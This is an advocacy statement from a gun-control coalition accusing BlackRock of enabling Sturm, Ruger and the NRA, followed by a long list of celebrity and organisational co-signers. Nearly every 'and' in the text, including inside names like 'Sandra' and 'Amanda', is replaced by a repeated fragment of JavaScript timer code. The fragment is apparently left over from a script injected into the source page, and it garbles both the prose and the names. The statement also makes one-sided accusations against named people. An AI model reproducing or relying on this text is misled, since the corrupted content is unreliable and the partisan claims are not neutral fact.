#NoRA Statement on BlackRock’s Accountability For Sturm, Ruger Actions

Today, BlackRock, a global funds management firm, holds its shareholder meeting in New York. BlackRock holds a 17% stake in Sturm, Ruger, the nation’s largest gun manufacturer.

Sturm, Ruger made the AR-556 assault weapon which killed 26 people in the Sutherlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Springs church massacre andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has among the most aggressive stances against gun violence prevention of any weapons company. It was recently bound by shareholder action to report on the violence committed with the guns it makes, to which Sturm, Ruger President andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Board Member Chris Killoy replied “what the proposal does not andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cannot do is to force us to change our business.”

Sturm, Ruger’s board includes Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andra Froman, a past president of the NRA andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and current NRA Board Member. Froman formerly worked to promote the views of William Shockley, a physicist who perpetuated theories that whites are genetically superior to other races.

BlackRock voted to confirm the entire board, made up of Froman, Killoy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and seven other exclusively white men.

This blatant disregard for shareholder will andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and basic humanity is emblematic of the gun andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and financial industries’ combined efforts to value profit over lives.

Communities of color, especially women of color, suffer disproportionately from gun violence. The “leadership” of Sturm, Ruger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the NRA shows not only a disregard for this racist outcome, but in fact has actively promoted theories which perpetuate it.

Since 2015, Sturm, Ruger has paid the NRA at least $11 Million.

BlackRock andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other financial institutions which own Sturm, Ruger are guilty of allowing this deadly racism andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gross neglect to continue. If BlackRock wanted to show it valued lives over money - especially the lives of people of color - it would have done so last week andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and voted to replace  the Sturm, Ruger board. It did not.

The American financial industry is killing Americans. We demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and better.

The NoRA Coalition

Co-Signed

Uzo Aduba
American Federation of Teachers
Art Not War
Alec Baldwin
Ady Barkan
Rania Batrice
Blue Future
Melissa Byrne
Campaign to Unload
Jasmyne Cannick
Gregory A. Cendana
Kristen Clarke
Charlotte Clymer
Misha Collins
Jon Cooper
CREDO
James Cromwell
Laura Dawn
The Democratic Coalition
Drain The NRA
Minnie Driver
Richard Eskow
Jennifer Esposito
Rob Fee
Kristin Rowe-Finkbeiner
Frances Fisher
Morgan Freeman
Jason George
Amber Goodwin
Dr. Dena Grayson
Nick Guthman
Fred Guttenberg
Arlen Hamilton
Chelsea Handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andler
Heidi Hess
Zach Hibshman

Justin Hendrix
Akilah Hughes
Ben Jackson
Ashley Judd
Stella Kae
Harvey J. Kaye
Nick Knudsen
Laura Mannino
Heather Matarazzo
DeRay McKesson
Debra Messing
Lex Michael
Alyssa Milano
MomsRising.org/
MamásConPoder.org
Julianne Moore
James Morrison
Seth Morrison
Andy Moss
MoveOn
Lane Murdock
Po Murray
National School Walkout
Josh Nelson
Newtown Action Alliance
Ashley Nicole
Asher Novek
Drew Olanoff
Eliza Orlins
Amandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda Palmer
Jeff Pearlman
Khary Penebaker
Michael Perlman
Zac Person
Tae Phoenix
Emma Popkin
Bill Prady

Brett Pransky
Questlove
Nadia Quinn
Alysia Reiner
Dallas Roberts
Robyn Ruth
Kendrick Sampson
Jay Schaffner
Maureen Shaw
Random() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andi Mayem Singer
David Slack
Andy Slavitt
Heather Smith
The Sparrow Project
Sree Sreenivasan
Max Stahl
States United to Prevent Gun Violence
Tara Strong
Amber Tamblyn
Bradley Theodore
Gabrielle Union
Natalie Weaver
Random() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andi Weingarten
Brianna Westbrook
Heather Whaley
Wil Wheaton
Women’s March
Kenidra Woods
Winnie Wong
World2Be
Zero Hour
Danny Zucker